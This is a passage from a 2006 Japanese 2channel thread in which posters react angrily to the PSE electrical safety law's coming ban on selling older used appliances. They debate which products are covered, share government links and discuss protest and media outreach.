791 ：名無しさん＠６周年：2006/02/13(月) 22:35:23 ID:s5DyC7ri0

>>778
あぁいうものって、壊れたから秋葉原で買ってきます・・って
わけにはいかないからね。

792 ：名無しさん＠６周年：2006/02/13(月) 22:35:35 ID:p9/Q1zz70

>>767
ほんの数週間の差がそんなに影響するとも思わないが。
５年前の話だしね。

まあ、開き直ってとにかく行動しよう。
この法案はリサイクル業者だけでなく、普通の家電販売店も影響するし。（新品も売れない）
どんな業種でも電化製品の資産計上はあるが、税務署すらこれの存在を知らなかったらしいし。
坂本龍一も動き出したし、マスコミも動き出したみたいだし。

とにかく暴れちゃおう

793 ：名無しさん＠６周年：2006/02/13(月) 22:35:40 ID:8joDEinZ0

まさか中古品が、売買できなくなる時代が来るとはね

794 ：名無しさん＠６周年：2006/02/13(月) 22:35:41 ID:lBP8bBUb0

>>632
ANSIは名前のとおりアメリカの規格協会だし。
IEEEだって西側主導。
日本の影響力が有るとすれば、事務総局長が日本人のITUくらいか。
PCMCIAと共同でPCカード規格を策定した、旧JEIDAのような例もあるがな。

795 ：名無しさん＠６周年：2006/02/13(月) 22:35:50 ID:QAfTPSWm0 ?

それだけじゃ、それだけじゃないんだよ。
6000万以上するモニターが、、、

796 ：名無しさん＠６周年：2006/02/13(月) 22:36:07 ID:O+skdh6r0

毎日新聞のCMはどうなるんですか？？

797 ：名無しさん＠６周年：2006/02/13(月) 22:36:21 ID:SRStSsZY0

官僚界も「おふざけ」が過ぎたようですな
庶民の不満が爆発して一揆に発展しますよ
これは

798 ：名無しさん＠６周年：2006/02/13(月) 22:36:24 ID:DgGHUwl50

中古の古いゲーム機が買えなくなるの？

799 ：名無しさん ：2006/02/13(月) 22:36:57 ID:lctsO2Bv0

こんな悪法潰せ
誰が得するか考えたらわかる

800 ：名無しさん＠６周年：2006/02/13(月) 22:37:01 ID:AYpgqAlT0

>>798
> 中古の古いゲーム機が買えなくなるの？

ゲーム機械はアウト。
ＰＣはセーフ。

801 ：名無しさん＠６周年：2006/02/13(月) 22:38:01 ID:wXIYs9jX0

>>788
役所は縦割りという以前に、軍閥みたいなもんだからなｗ
他省庁に攻撃させるのも一つの方法かもね。

802 ：名無しさん＠６周年：2006/02/13(月) 22:38:10 ID:gE8svAeW0

AYpgqAlT0は反対運動潰しに必死なようですｗ

残業手当いくら貰ってるのかなｗ

803 ：名無しさん＠６周年：2006/02/13(月) 22:38:24 ID:u4iIWL8v0

もう知り合いの中古屋も結構パニックになっちゃってて
勿論生き残るために経済産業省といろいろ交渉したりしてるみたいだけど、
やっぱお役所ってのは一筋縄ではいかないみたい。
もう４月に店畳むことも考えちゃってるみたいだけど、潰れたら寂しいので励ましておいたよ。
でも、これからいろんなマスコミとかで取り上げられて、この問題が広く知られるようになったら
何らかの動きがあるかもしれないしね。生き残ってくれるといいなぁ。
俺中古屋巡りとか趣味だし、中古屋の店員とかも仲いい人多いから、この問題なんとかしたいんだよね。
いろいろ暴れてみるか。

804 ：名無しさん＠６周年：2006/02/13(月) 22:38:28 ID:MUSxBOBe0

>>785
常に上の品質のもん出してくれりゃいいんだけどね

805 ：名無しさん＠６周年：2006/02/13(月) 22:38:34 ID:ZZwzOeIu0

>>792
>この法案はリサイクル業者だけでなく、普通の家電販売店も影響するし。（新品も売れない）

ですね。YAMAGIWAリビングとか丸井リビング館なんかは数千万円単位で
損害食らってるはず　（どうせ不良在庫だったわけだけれども）。

806 ：名無しさん＠６周年：2006/02/13(月) 22:38:36 ID:oElIoglh0

>>778
テレビ局には過去の映像がライブラリとして保管されてるわけだし
となると当然その当時の映像を見ることの出来る機械は保持しておく必要あるもんな
「βのマスターテープはあるけどデッキが壊れたから二度と見られません」
ってなったら大問題だよね

807 ：名無しさん＠６周年：2006/02/13(月) 22:38:36 ID:bISmJoT70

３月に入れば中古電化製品が安くなるってこと？

808 ：名無しさん＠６周年：2006/02/13(月) 22:38:52 ID:HfdON/Kg0

>>790
対象だろ。
おれの携帯にはPSEマークついてるし。
充電器にね。

809 ：名無しさん＠６周年：2006/02/13(月) 22:39:02 ID:LjSbvJ690

小泉のやろう

810 ：名無しさん＠６周年：2006/02/13(月) 22:39:04 ID:AYpgqAlT0

>>799
> こんな悪法潰せ
> 誰が得するか考えたらわかる

考えなくても「お役人様」だろーがｗふつうに。

811 ：名無しさん＠６周年：2006/02/13(月) 22:39:21 ID:s5DyC7ri0

取り外し可能なACアダプタ経由のDCで動く機器の本体側は問題無し。
ACアダプタは対象になるけど、これも20年まではオッケってことらしい。

812 ：名無しさん＠６周年：2006/02/13(月) 22:39:28 ID:iAZzCvtm0

キュレーターとかどうすんの？研究目的なら売買してもOK？

813 ：名無しさん＠６周年：2006/02/13(月) 22:39:34 ID:QAfTPSWm0 ?

>>800
だから本体はおkでアダプターが問題なんだと。
もし本体からコンセントが直接でてるものだったらアウ
なかったらセフ。ACアダプターは認証シールがなければアウ

814 ：名無しさん＠６周年：2006/02/13(月) 22:39:50 ID:52sK0hoy0

>>792
まあそうだな・・

今回のは猶予期限切れってだけの話だしな・・
あと数年で更に締め付け厳しくなるし
冗談じゃねぇぇええレトロアンプ買えなくなるとかふざけ過ぎだ

815 ：名無しさん＠６周年：2006/02/13(月) 22:39:55 ID:ySd7Hmdv0

オンドマルトノがひっかかるんだよな。

ってことは、
「トゥランガリラ交響曲」の演奏が
そのうち国内では難しくなったりするんだろうか？w

816 ：名無しさん＠６周年：2006/02/13(月) 22:40:15 ID:XqNrYx5g0

ループしてるがこの話題は知ってもらうことから始めにゃならん。
今まで隠ペいされてきたからな！

817 ：名無しさん＠６周年：2006/02/13(月) 22:40:25 ID:/5MtdoiD0

>>815
まぁ使用はｾﾌｾﾌなんです

818 ：名無しさん＠６周年：2006/02/13(月) 22:40:31 ID:kksbSrSRO

>>802
失礼な事言っちゃいかん




お上も認めたサービス残業だｗ

819 ：名無しさん＠６周年：2006/02/13(月) 22:40:35 ID:CEcnlXtr0

　　　　　だったらよー　役人も中古で天下るなよな

820 ：名無しさん＠６周年：2006/02/13(月) 22:40:37 ID:n1hpbuKO0

>>790
PCはOKですが、周辺機器はアウトです。
輸入品も同じです。
よってそれらは4月になれば新品と言えども売買出来なくなります。

821 ：名無しさん＠６周年：2006/02/13(月) 22:40:52 ID:yWA+icM20

倍プッシュで

822 ：名無しさん＠６周年：2006/02/13(月) 22:40:57 ID:x/FSW3o50

漏れ中古PC屋の店員だが、PCは対象外でよかったぜ
あやうく首吊るハメになるところだったｗ
マネーの虎のリサイクルショップ社長とか首吊るのかな？ｗｗｗ

823 ：名無しさん＠６周年：2006/02/13(月) 22:41:00 ID:SRStSsZY0

この問題はここ（2ch）が震源になって
間違いなく全国的な反対運動に発展するね

824 ：名無しさん＠６周年：2006/02/13(月) 22:41:04 ID:dGlULOf+0

>807
一時安くなっても4月以降は殆ど永遠に手に入らなくなる
ヤフオクすらちょっと派手に売ればﾀｲｰﾎされるしｗ

4月以降は売買に関しては麻薬覚せい剤や拳銃と同じ扱いになる2001年以前の電化製品ｗ

825 ：名無しさん＠６周年：2006/02/13(月) 22:41:06 ID:AYpgqAlT0

>>808
> 充電器にね。

それ充電器だけ。
電子応用機械器具については以下のものだけ。

■電子応用機械器具
302 電子時計 ５年
303 電子式卓上計算機 ５年
304 電子式金銭登録機 ５年
305 電子冷蔵庫 ５年
306 インターホン ５年
307 電子楽器 ５年
308 ラジオ受信機 ５年
309 テープレコーダー ５年
310 レコードプレーヤー ５年
311 ジュークボックス ５年
312 その他の音響機器 ５年
313 ビデオテープレコーダー ５年
314 消磁器 ５年
315 テレビジョン受信機 ５年
316 テレビジョン受信機用ブースター ５年
317 高周波ウエルダー ５年
318 電子レンジ ５年
319 超音波ねずみ駆除機 ５年
320 超音波加湿機 ５年
321 超音波洗浄機 ５年
322 電子応用遊戯器具 ５年　←★ゲーム機★
323 家庭用低周波治療器 ５年
324 家庭用超音波治療器 ５年
325 家庭用超短波治療器 ５年

826 ：名無しさん＠６周年：2006/02/13(月) 22:41:30 ID:gE8svAeW0

100 名前：他省庁の中の人[sage] 投稿日：2006/02/05(日) 22:30:09
>>99

DTM板のスレにあったけど、中古品販売業者の中に製造業者として
電安法上の届出事業者になるところがあるらしい（PSEの表示は届出事業者
だけが張ることができる。）。
改造や修理であっても電気用品の電気的・機械的条件を変更する場合は
「製造」に該当するので（経産省の下のページ参照）、、そういう実績があれば
メーカーでなくても届出事業者になれる。
でも、中古ショップってそんな改造するのかな。

なお、今年の４月から販売ができなくなる原因は、法律の規定ではなくて、
政令なんだよね。法律は改正法の施行後１０年後までは、昔の機器も
販売できるようになっている（平成１１年法律１２１号の附則第５０条
第1項で「１０年を超えない範囲内において政令で定める期間」までは、
PSEマークを張らなくてもよいと規定。）。
それを政令で５年と規定したために今年の４月で販売できなくなる。

抜本的には、上に書いた附則５０条を直さないとだめだけど、応急処置
としてならば、政令を改正させてこの５年を１０年に改めさせれば若干の
猶予は稼げる。

リサイクル社会実現の必要性やら、インターネットによる中古品売買
の増加等々法改正後の社会･経済状況の変化を理由にすれば、
その程度の修正は、過去の誤りを認めることが難しい役所の立場と
であっても不可能ではないと思うが。

827 ：初スレ濁し ◆NdXA4pMuL2 ：2006/02/13(月) 22:42:00 ID:CDGxgDCN0

>>767
マスコミソースがないとこの板にはスレが立てられないので…。
他の板だと既にスレが立ってたところもあります。

828 ：名無しさん＠６周年：2006/02/13(月) 22:42:07 ID:YJSAfHVW0

>>778
それいいかもね。
昔の規格のビデオとか、資料用に溜め込んでるところあると
思うけど、昔のビデオ機器が流通しなくなるから、
全部ゴミになるよって。
高価な放送機器も資産価値がゼロになって、大変だね。

829 ：名無しさん＠６周年：2006/02/13(月) 22:42:07 ID:l05c746M0

不動産業界、悲惨だねぇ。

今から購入手続き開始して、３月末ぎりぎりに引き渡しになるように粘ったら買いたたけるの？？

830 ：名無しさん＠６周年：2006/02/13(月) 22:42:21 ID:52sK0hoy0

>>807
既に安いって事です
ハードオフは処分として3割引程度で売ってるぞ

831 ：名無しさん＠６周年：2006/02/13(月) 22:42:29 ID:KW8w5wHP0

で、

じゃんぱら、じゃんじゃん亭、秋葉の中古品街等々、
ハードオフ、ヤフオク（電気・電子部門）、

これら全面終了という事で良い？

832 ：名無しさん＠６周年：2006/02/13(月) 22:42:31 ID:/5MtdoiD0

ここが立つまではDTM板が健闘してた

833 ：名無しさん＠６周年：2006/02/13(月) 22:42:37 ID:YgE56+lR0

>>820
えっ！周辺機器はアウトなの？

834 ：名無しさん＠６周年：2006/02/13(月) 22:42:44 ID:FLZpbrcP0

>>822
５年も前から決まってたのに
あいつが知らないわけがない

835 ：名無しさん＠６周年：2006/02/13(月) 22:43:00 ID:QAfTPSWm0 ?

なるべくageていきましょう。
PSE認証を知らずに電化製品買ってしまう方が出てきそうですので。

836 ：名無しさん＠６周年：2006/02/13(月) 22:43:09 ID:AYpgqAlT0

>>823
> この問題はここ（2ch）が震源になって
> 間違いなく全国的な反対運動に発展するね

なったってお役人様は「どこ吹く風」だろ

なんせ法律はだいぶ前にコッソリ通っちゃってるし。
これから通す法案なら撃沈だろうが。

837 ：名無しさん＠６周年：2006/02/13(月) 22:43:29 ID:/5MtdoiD0

>>834
でも知ったのは最近でしょうね

838 ：名無しさん＠６周年：2006/02/13(月) 22:43:36 ID:i457ogts0

>>715
＞これみよがしに「オークションは大丈夫！」って、貼ってあるヤツ。
＞ｌｉｎｋ先の経産省の[オークション(ry]は読んでるのか？
＞ヤフーより、厳しく細かく書いてあるぞ

どこの事を言ってるのか不明だけど、
たぶん、読んでると思うよ。
つーか、
これみよがしに「オークションもヤバイ！」って書き込みしてる香具師こそ、
読むべきだと思う。

www.meti.go.jp/policy/consumer/ tokushoho/gaiyou/auctionguideline.pdf

表示が崩れるかもしれんけど、ググルが無理矢理HTML化してくれてるのなら↓な。
http://72.14.207.104/search?q=cache:IelYAg52-QgJ:www.meti.go.jp/policy/consumer/tokushoho/gaiyou/auctionguideline.pdf+&hl=ja&gl=jp&ct=clnk&cd=1

839 ：名無しさん＠６周年：2006/02/13(月) 22:43:45 ID:cSNntT5M0

あまり消費者を怒らせないほうがいい

840 ：名無しさん＠６周年：2006/02/13(月) 22:44:14 ID:p9/Q1zz70

>>822
よく笑ってられるな。
この法案の最大の問題点は
９９％以上の国民がいまのいままでこの法案のことを知らされてなかったことですよ。
官報に載せたからあとは知らないって言ってね。

もしかすると官報に載ってるかもしれないよ。
2006年夏にPCの中古売買を禁止するって。

841 ：名無しさん＠６周年：2006/02/13(月) 22:44:14 ID:dGlULOf+0

>834
ハドオフ他2社がこないだ経産省によばれて初めて知った？ってコメントだしてたみたいだぞ
殆どの小売業は知らなかった可能性すらある

842 ：名無しさん＠６周年：2006/02/13(月) 22:44:16 ID:s5DyC7ri0

>>820
ACアダプタで動いていた、本体単品だけなら対象外でしょ？

843 ：名無しさん＠６周年：2006/02/13(月) 22:44:21 ID:ySd7Hmdv0

>817
持ってる団体を探して
借りて使うとかするしかないのか。

ますます大変そうだ。

844 ：名無しさん＠６周年：2006/02/13(月) 22:44:23 ID:52sK0hoy0

>>827
あ〜ぁそういやそうだったわ・・ｻﾝｸｽ
ニュー速やレゲーはニュースソース無しだったんだ

845 ：名無しさん＠６周年：2006/02/13(月) 22:44:51 ID:/vqVaq0Z0

リース会社は期限切れたらゴミとして引き取らなければならないのか。

846 ：名無しさん＠６周年：2006/02/13(月) 22:45:13 ID:AYpgqAlT0

>>839
> あまり消費者を怒らせないほうがいい

■経産省からのお知らせです■

経産行政は「消費者不在」ですが何か？
それとも消費者様方で、ＯＢを雇っていただけますでしょうか？（ﾌﾟｹﾞﾗ

847 ：名無しさん＠６周年：2006/02/13(月) 22:45:20 ID:Xcp6c3sX0

ゲーム機はACアダプタは販売せずにオク売り、アダプタをオマケで付けたらダメか？

848 ：名無しさん＠６周年：2006/02/13(月) 22:45:33 ID:FLZpbrcP0

>>841
マジかよ
そんな滅茶苦茶よく通るな
日本ってそんな国だったんか・・・

849 ：名無しさん＠６周年：2006/02/13(月) 22:45:54 ID:l05c746M0

ということは、リサイクル屋で、電化製品を扱っていると壊滅的打撃を受けるということですよね。

本　当　に　あ　り　が　と　う　ご　ざ　い　ま　し　た

850 ：名無しさん＠６周年：2006/02/13(月) 22:46:05 ID:fNoT3baz0

個人レベルの売買もアウトなの？　これって。
仮に店舗売買がアウトで個人レベル売買だけはＯＫとかで
残るみたいなことになったらボッタクリ価格の粗悪品横行しまくりそうだな。

つーか新しいからいいとは限らないだろうし、楽器なんて。
なんでこんなわけわからんことすんのかね。
その道で食ってる人たちにとってはしゃれにならんね、この法律は。

851 ：名無しさん＠６周年：2006/02/13(月) 22:46:09 ID:mmTUB8opO

昔の機能をマルッと再現したPSE認定商品を
製作するため中小零細町工場で連携し
復刻専門会社を…

無理だ、採算取れない。

852 ：名無しさん＠６周年：2006/02/13(月) 22:46:13 ID:n1hpbuKO0

>>833
アウトです。
つまり、PDA,MP3プレイヤー等も4月以降は売買出来なくなります。

853 ：名無しさん＠６周年：2006/02/13(月) 22:46:14 ID:1S3BwLhN0

>>334
気になってHV-S95を検索したらすごい写真が出てきた
http://page6.auctions.yahoo.co.jp/jp/auction/f41866225

今じゃこんなビデオデッキ作れないだろ・・・。いくら松下やソニー、三菱でさえも
しかもメンテしやすいみたいだし。
こんなの業務用レベルに匹敵するぞ

こういうのを売買できなくするPSE法は罪が重いな

官報で告知したからと言って一般に周知していると勘違いする官僚は死ね

854 ：名無しさん＠６周年：2006/02/13(月) 22:46:21 ID:QAfTPSWm0 ?

>>847
おkじゃないですか?ACを売らないのであれば。

855 ：名無しさん＠６周年：2006/02/13(月) 22:46:32 ID:/5MtdoiD0

>>844
自分の記憶ではハードオフの張り紙を見た人が
レゲー板で立てたのが最初だった気がします

856 ：名無しさん＠６周年：2006/02/13(月) 22:47:03 ID:52sK0hoy0

>>850
確かアウトじゃなかったっけか
ヴィンテージギター買えなくなるって嘆いてた人もいたな

857 ：名無しさん＠６周年：2006/02/13(月) 22:47:08 ID:s5DyC7ri0

>>847
アダプタが対象物になってるからねぇ。
アダプタだけをヤミでやりとりするか、PSE対応アダプタからの
変換ケーブルを付けてやる位じゃないかな。

858 ：天下りﾓﾉﾚｰﾙin恥ば ：2006/02/13(月) 22:47:09 ID:LqNOiaFPO

４月になれば皆にバレルわけで祭り必死

859 ：名無しさん＠６周年：2006/02/13(月) 22:47:17 ID:YJSAfHVW0

>>848
マスコミが報道したのがつい最近なんだから、
ほとんどの人が知らなかったでしょ。
中古まで規制の範囲に入ってるなんて
途中で解釈が拡大されたようだし。

860 ：名無しさん＠６周年：2006/02/13(月) 22:47:23 ID:Axhh3NOp0

>>841
まさに寝耳に水・・・

861 ：名無しさん＠６周年：2006/02/13(月) 22:47:35 ID:W5ughOkv0

官報に載ったというだけで生活に関わる
知られていない法律がどんどん出来そうで嫌だな。

862 ：名無しさん＠６周年：2006/02/13(月) 22:47:43 ID:/I3HsBgX0

な　あ　に


国　土　交　通　省　の　車　検　制　度　を


ち　ょ　っ　と　真　似　る　だ　け　さ　

863 ：名無しさん＠６周年：2006/02/13(月) 22:47:54 ID:L0/70CuS0

　　　　/＼＿＿_／ヽ　 　ヽ
　　 ／　　　　::::::::::::::::＼　つ
　 . | 　,,-‐‐　 　‐‐-､ .:::|　わ
　　|　 ､_(o)_,:　 _(o)_,　:::|ぁぁ
. 　 |　　　　::<　　　 　 .::|あぁ
　　＼＿／￣￣＼＿／ぁあ
　 　 　 | |　　　 　 　 | |　ああ
　　| |　 | |.　　　　 　 | |　 | |
　　| |　_|_|__(⌒v⌒)_.|_|_　| |
　　| |　ヽ､__￣￣￣＿ノ

うちの中古楽器売れないじゃん

864 ：名無しさん＠６周年：2006/02/13(月) 22:48:01 ID:AYpgqAlT0

>>844
それで、４日立って新ソースなければ、次スレ禁止。
よって何か騒ぎでも起こして新聞沙汰にならない限り、02/16(木) 22:05:43←運用で、金曜日午前０時
以前まで

で、このスレ終わり。どうみてもお役人様の圧勝です。本当にありがとうございました。

865 ：名無しさん＠６周年：2006/02/13(月) 22:48:18 ID:dGlULOf+0

>845
今回はリースで貸す物は対象外らしいが、リース落ち中古は当分即死でしょう

866 ：名無しさん＠６周年：2006/02/13(月) 22:48:31 ID:l05c746M0

＞８４７
「ACアダプタは付属しませんが、落とすと神様がアダプタをくれます。」

として、匿名で別送すればオッケイ！！（爆）

867 ：名無しさん＠６周年：2006/02/13(月) 22:48:44 ID:qXBj57oM0

充電器は対象内ってことは携帯端末本体だけなら売り買いOKってこと？
でも充電器ないと使いようが・・・ないよね

868 ：名無しさん＠６周年：2006/02/13(月) 22:49:52 ID:2TZD9kvXO

ハードオフはここ数年で事業拡大しすぎた。
だから行政から中古流通に注意を受けた。
昔みたいに専門店が細々やっていれば、こんな規制はなかったかもな。

869 ：名無しさん＠６周年：2006/02/13(月) 22:50:02 ID:FLZpbrcP0

>>859
そっかー皇室典範なんかどうでもいいのになぁ


てゆーより
俺は中古家電とか好きだから今が買いってことか

ハードオフとか安いんだよね？
買い漁るか

870 ：名無しさん＠６周年：2006/02/13(月) 22:50:07 ID:AYpgqAlT0

>>854
■電子応用機械器具
302 電子時計 ５年
303 電子式卓上計算機 ５年
304 電子式金銭登録機 ５年
305 電子冷蔵庫 ５年
306 インターホン ５年
307 電子楽器 ５年
308 ラジオ受信機 ５年
309 テープレコーダー ５年
310 レコードプレーヤー ５年
311 ジュークボックス ５年
312 その他の音響機器 ５年
313 ビデオテープレコーダー ５年
314 消磁器 ５年
315 テレビジョン受信機 ５年
316 テレビジョン受信機用ブースター ５年
317 高周波ウエルダー ５年
318 電子レンジ ５年
319 超音波ねずみ駆除機 ５年
320 超音波加湿機 ５年
321 超音波洗浄機 ５年
322 電子応用遊戯器具 ５年　←★ゲーム機★
323 家庭用低周波治療器 ５年
324 家庭用超音波治療器 ５年
325 家庭用超短波治療器 ５年

871 ：名無しさん＠６周年：2006/02/13(月) 22:50:10 ID:/vqVaq0Z0

>>867
USBからとればイイ。

872 ：名無しさん＠６周年：2006/02/13(月) 22:50:11 ID:QAfTPSWm0 ?

ギターはおk。エフェクターはAC付けなければおkかな?

873 ：名無しさん＠６周年：2006/02/13(月) 22:50:15 ID:s5DyC7ri0

まぁ、これがきっかけになってちょっとでも妙なものが成立しそうになると、
大騒ぎして派手な抗議活動をする「法律緑豆」みたいなのが登場するのかな。

874 ：名無しさん＠６周年：2006/02/13(月) 22:50:31 ID:52sK0hoy0

>>855
>>864
つまりそれまでにニュースソースを手に入れれば良いわけだ・・
やっぱマスコミかな・・TVとはいかなくても
ネットニュースなら取り上げやすいだろう・・

875 ：名無しさん＠６周年：2006/02/13(月) 22:50:43 ID:ySd7Hmdv0

>864
Ｎ速とかＮ議論とかでも駄目か？

最悪、VIPででも続けるか？

876 ：名無しさん＠６周年：2006/02/13(月) 22:51:08 ID:rUCFmtnI0

まあこれを機会に「官報を読んで電凸するｽﾚ」てえのが出来るかもな。
ヒマなvipperには格好のネタだ。
馬鹿な事を言ったもんだ＞官報に載せましたが何か？

まあ官報本来の役目ではあるんだけどな＞載せて意見を問う。
お役人には是非とも業務を全うしてもらいましょうかと

877 ：名無しさん＠６周年：2006/02/13(月) 22:51:26 ID:Xcp6c3sX0

>>866
同梱も無理なのか？　オマケ品の送料別は厳しいぞ。
専用アダプタじゃないと逆に危ないのに。

878 ：名無しさん＠６周年：2006/02/13(月) 22:52:13 ID:O+skdh6r0

ネットのニュースは、とりあえずヤフトピが一番見てる人多いだろうから、
そこで取り上げて欲しいね。

879 ：名無しさん＠６周年：2006/02/13(月) 22:52:17 ID:wKdICe8N0

>>769
官僚の悪事を忘れるな。
多少叩いても、世間はすぐ忘れるから体質が改まらない。

880 ：名無しさん＠６周年：2006/02/13(月) 22:52:26 ID:kksbSrSRO

>>875
＋系じゃなければ可能

881 ：名無しさん＠６周年：2006/02/13(月) 22:52:45 ID:dGlULOf+0

極論すれば、交流→直流に変換してはしってる電車も対象なのかｗ
鉄道模型の電源はアウトだけどな

882 ：名無しさん＠６周年：2006/02/13(月) 22:53:07 ID:zz+xpqbf0

売らなきゃいいんじゃね？
クーポン券を売る。
たとえばDTMならSC88引き替えクーポン券を1万円とかで。

883 ：名無しさん＠６周年：2006/02/13(月) 22:53:07 ID:gE8svAeW0

電気用品安全法（PSE法）反対運動支援総合スレ
http://aa5.2ch.net/test/read.cgi/nanmin/1139517307/l50

884 ：名無しさん＠６周年：2006/02/13(月) 22:53:12 ID:AYpgqAlT0

>>874
> つまりそれまでにニュースソースを手に入れれば良いわけだ・・
そのとおりだが…

> やっぱマスコミかな・・TVとはいかなくても
> ネットニュースなら取り上げやすいだろう・・
鳥取県ならそれで何とかなったが、経産省は競輪資金でマスコミ記者とか
押さえてるから手強いぞ。

競輪資金について↓
ttp://www.meti.go.jp/speeches/data_ed/ed050829j.html

減ったとはいえ、２２０〜２３０億円の裏金あり↓
ttp://www.keirin.go.jp/njs/budget/h17.html

※領収証もいらないし、会計検査も入らない。予算時に財務省のチェックもない。

885 ：名無しさん＠６周年：2006/02/13(月) 22:53:16 ID:MUSxBOBe0

>>866
写真には載せずかつ「アダプタなし」の表記をイコールアダプタ付きに
または、オマケを考えております
みたいなのを定着させてだな…

886 ：名無しさん＠６周年：2006/02/13(月) 22:53:51 ID:QAfTPSWm0 ?

>>881
点検検証してればおk

887 ：名無しさん＠６周年：2006/02/13(月) 22:54:00 ID:9I23xlvwO

これ普通に業者が国を訴えるんじゃないか？
憲法違反の財産権侵害だし

888 ：まとめの431 ◆RHl2lE26v6 ：2006/02/13(月) 22:54:28 ID:YY2ec9Kc0

中の人
えー、マジで誰かミラー作っていただけませんか？
まとめサイトのProxy Errorが半端無いですし、原因の一つは負荷らしいのです。
一応VIPで運営会議してます。

889 ：名無しさん＠６周年：2006/02/13(月) 22:54:32 ID:4V9Y15G+0

４月に向けて大手量販店や中古楽器屋で投売りセールが始まると見ていいのかな？
だとしたら今のうちに買えるだけ買いまくるんだが。

890 ：名無しさん＠６周年：2006/02/13(月) 22:54:32 ID:nHjXbcRW0

＞304 電子式金銭登録機 ５年
レジのことですか？

891 ：名無しさん＠６周年：2006/02/13(月) 22:55:05 ID:l05c746M0

>>877
ぬぅうん、同梱は言い逃れが苦しいっぽいが。
ま、実際に同梱されたかどうかまで１つ１つチェックするとは思えないので、表記さえ気をつければオッケイでないの？？

同梱の言い訳としては、「ACアダプタ型梱包材が入ってます」　とか＾＾；；；；；

892 ：名無しさん＠６周年：2006/02/13(月) 22:55:24 ID:xmIa60Q+0

>>70
ハガキまで来たぞｗ＞なちょなる
えげつないほどの周知作戦にびっくりだよ

893 ：名無しさん＠６周年：2006/02/13(月) 22:55:33 ID:sMmVbmJs0

>>888
ぞろ目オメ

じゃあ >>900番がミラーサイト作るでFA

894 ：名無しさん＠６周年：2006/02/13(月) 22:55:45 ID:AYpgqAlT0

>>887
> これ普通に業者が国を訴えるんじゃないか？
> 憲法違反の財産権侵害だし

>>744参照しる。
行政処分が出ずに「民間が自主的に販売をやめた」となるので、行政に責任は
ないという筋書きだろ、きっと。

895 ：名無しさん＠６周年：2006/02/13(月) 22:56:18 ID:O+skdh6r0

>>888
乙です。

さっき初めて逝きましたが、激しく重かったです。

896 ：名無しさん＠６周年：2006/02/13(月) 22:56:22 ID:FLZpbrcP0

>>887
どうなんだろうね
ハードオフで投売りはじめたみたいだし。
大手が言いなりじゃあむりぽ

897 ：名無しさん＠６周年：2006/02/13(月) 22:56:35 ID:zz+xpqbf0

パチンコ方式。

客はその店でしか使えないライター石を買う。たとえば一個2500円相当。
PSEマークのない中古家電はライター石一個とか二個とかと交換できる。

販売じゃなきゃ良いんだろ？

898 ：名無しさん＠６周年：2006/02/13(月) 22:57:44 ID:S5LkL4iY0

ハードオフってバカみたいに安い印象は無いけどね。
ヤフオクはバカ安で買えるけど。
「ヤフオクで買えばいいよ」って言ってる奴は増えたよな。

899 ：名無しさん＠６周年：2006/02/13(月) 22:57:48 ID:pnIMq7nx0

>>897
それだ！

900 ：名無しさん＠６周年：2006/02/13(月) 22:57:50 ID:YJSAfHVW0

>>894
そういう流れで、貴重な文化遺産であるビンテージシンセやオーディオ機器が
廃棄されるのは悲しいな。
昔のは手作りに近いものもあって、今では再現できないものが
結構あるのに。

901 ：名無しさん＠６周年：2006/02/13(月) 22:57:58 ID:vsUygxRe0

で、家電業界からいくら貰ったんだよ
地上波デジタルの買い替え特需だけじゃ足りないのか？
あれも本来必要無いものだよな
それで、散々煽ったハイビジョンデジタル放送は廃止だしな

日本もアメみたいにプロ市民が企業にいちゃもんつけて賠償金ガッポリ取れるようにならないと
いいように搾取されるだけだな

902 ：名無しさん＠６周年：2006/02/13(月) 22:57:59 ID:AYpgqAlT0

Q.すでに流通している製品の安全性を改めて検査してPSEマークを付すことはできるか？
A（経産官僚）.できるかアフォ！。製造段階以外での検査機関はねーよ、カス。

Q.では、PSEマークのない製品については4月1日以降どのように処分すれば良いのか？
A（経産官僚）.そのために猶予期間を設定していたんだよ、ハゲ！

Q.猶予期間というが、本法律が国民に広く知れ渡っていると考えているのか？
A（経産官僚）.文盲かおまいｗｗｗｗｗｗｗ官報に掲載しているので「知らなかった」というのは通用し
ねーぞ＞厨房

Q.あなたは官報に掲載された法律全てに目を通しているのか？
A（経産官僚）.氏ねﾊｲﾊｲﾜﾛｽﾜﾛｽ。次！

Q.では、国民の大多数が官報に目を通すと考えているのか？
A（経産官僚）.官報に掲載された以上、国民全員「知っているもの」とみなされんだよっ！＞池沼

Q.他の重要な法律はテレビCMやポスターなどで周知徹底をはかることもあるが、
本法律の広報については充分であったと考えるか？
A（経産官僚）.知ラネーヨ。周知徹底できなかったなら、知らないおまいらがアフォ。

903 ：名無しさん＠６周年：2006/02/13(月) 22:58:17 ID:QAfTPSWm0 ?

>>888
素人でも作れる?

904 ：名無しさん＠６周年：2006/02/13(月) 22:58:21 ID:/5MtdoiD0

ID:AYpgqAlT0　は煽ラーだが　わりと詳しい

905 ：名無しさん＠６周年：2006/02/13(月) 22:58:25 ID:O+skdh6r0

電気ストーブがどうして規制対象なんだろ、、。

906 ：名無しさん＠６周年：2006/02/13(月) 22:58:31 ID:kR+Q7xnl0

まあこのマークを法律作ってまで広めたんだから
これで発火事故とかおきたらアネハと同じで
国が買い取って新品にしてくれて、業者に国が賠償請求だよな

907 ：名無しさん＠６周年：2006/02/13(月) 22:58:49 ID:FLZpbrcP0

>>897
それこそムリポ
限りなくグレーのパチンコを見逃してるのはパチンコ屋が○○だからでしょ

908 ：名無しさん＠６周年：2006/02/13(月) 22:59:17 ID:ZZwzOeIu0

>>887
そうだよなぁ。

俺の買った家で、東京電力から買った電気を使うのに
国が不当に機器を制限するなんて・・・

悪党どもめ、安全安全とか言う割には使用禁止にするのは恐いらしくて
「販売禁止」と来たもんだ。財産権とか私的自治の原則を侵害してるよね、これ。

909 ：名無しさん＠６周年：2006/02/13(月) 22:59:41 ID:wMMX0Ppg0

529 名前：名刺は切らしておりまして 投稿日：2006/02/13(月) 21:29:22 ID:v9FpndMG
中古商品の売買をするには、古物商の申請を警察に
しなければならない。そこで、この電気用品安全法に
ついて、今住んでいる県の県警の古物商担当の方に
電話で聞いてみた。
俺「仕事として中古電気製品を売買をするには、警察に
　古物商の申請をしなければならないのですね」
警察「はい。古物商の関連の法律は警察なので」
俺「それじゃあ、もしその中古家電製品を法律で売っては
　いけなくなるなら、当然警察もご存知ですよね。」
警察「はい。当然です」
俺「来月末で2001年以前の電気製品や2001年以降でも
PSEマークがついていない電気製品を売ってはならないという
　電気安全法はご存知ですか？」
警察「知りませんでした。いまはじめて知りました。」
俺「この法律はひどいと思いませんか？」
警察「たしかにひどいと思いますが。こちらからも経済
